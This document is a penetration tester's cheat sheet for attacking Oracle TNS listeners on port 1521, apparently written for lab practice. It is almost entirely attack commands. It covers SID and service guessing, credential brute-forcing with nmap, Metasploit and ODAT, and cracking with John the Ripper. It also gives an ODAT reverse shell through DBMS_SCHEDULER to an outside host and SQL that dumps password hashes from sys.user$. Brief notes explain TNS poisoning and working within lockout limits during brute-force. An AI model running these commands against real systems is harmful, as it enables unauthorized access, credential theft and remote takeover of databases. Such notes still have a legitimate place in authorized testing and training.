N1NJ10

TNS Oracle ( 1521 )

Resources

Tools

How to install sqlplus on Debian/Ubuntu

You may need to install the Oracle Instant Client first. See this guide for resolving library issues: Stack Overflow

# Quick fix for shared library error
sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"
sudo ldconfig

Commands

  • Version Discovery:

    # Metasploit
msf auxiliary(scanner/oracle/tnslsnr_version)
 
# tnscmd10g (Note the VSNNUM for version identification)
tnscmd10g version -p 1521 -h 10.129.205.19

  • SID & Service Name Enumeration:

    # ODAT SID Guesser
odat sidguesser -s 10.129.205.19 -p 1521
 
# ODAT Service Name Guesser
odat snguesser -s 10.129.205.19 -p 1521
 
# Metasploit SID Brute
msf auxiliary(scanner/oracle/sid_brute)
 
# Get Service Name from Listener Status
tnscmd10g status -h 10.129.205.19 -p 1521

  • Bruteforce Users & Passwords:

    oracle-brute-stealth script is effective against older, vulnerable versions (11.1.x, 11.2.x).

    The 

    # Nmap Stealth Brute
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=XE -n 10.129.205.19
 
# Metasploit Login Scanner
msf auxiliary(admin/oracle/oracle_login)
 
# ODAT Password Guesser
odat passwordguesser -s 10.129.40.54 -p 1521 -d XE
 
# Crack captured hashes with John the Ripper
john hashes.txt

  • Check for Privileges with ODAT:

    # Get current privileges
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --get-privs
 
# Test for SYSDBA role
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --sysdba --test-module
 
# Test for SYSOPER role
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --sysoper --test-module

  • Remote Code Execution & Reverse Shells:

    # ODAT reverse shell via DBMS_SCHEDULER
odat dbmsscheduler -s 10.129.112.195 -U scott -P tiger -d XE --sysdba --reverse-shell 10.10.14.104 7777

  • Interactive SQL Session:

    # Connect with sqlplus
sqlplus scott/tiger@10.129.40.54:1521/XE
 
# Attempt to connect as SYSDBA
sqlplus scott/tiger@10.129.40.54:1521/XE 'as sysdba'

  • Useful SQL Statements:

    -- Get database version
SELECT version FROM v$instance;
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
 
-- Enumerate users
SELECT username FROM all_users ORDER BY username;
 
-- Dump password hashes from user table
SELECT name, password, spare4 FROM sys.user$ WHERE password IS NOT NULL OR spare4 IS NOT NULL;
 
-- Get database name
SELECT global_name FROM global_name;
 
-- Find column names for a specific table
SELECT column_name FROM all_tab_columns WHERE table_name = 'XE';

  • All-in-One Scan with ODAT:

    odat all -s 10.129.40.54 -p 1521

Notes

NOTE

The TNS Poisoning Attack

By default, the Oracle TNS listener doesn’t authenticate redirection instructions. This allows an attacker to inject themselves as a fake database node, intercepting traffic. The primary configuration files are tnsnames.ora and listener.ora, typically located in $ORACLE_HOME/network/admin.

NOTE

Account Lockout Policy

The FAILED_LOGIN_ATTEMPTS parameter specifies the number of failed logins before an account is locked (default is usually 10). Be mindful of this during bruteforce attacks.

NOTE

Social Engineering in Bruteforcing

When bruteforcing, don’t forget about passwords related to the company name, system name, hostnames, and other social aspects.

Updates

Get Updated

Notes Feed

Subscribe by email to get notified when new notes or major revisions are published.

New pagesMajor revisionsDirect inbox

This opens a prepared subscription email to the notes updates inbox.

Graph View

Backlinks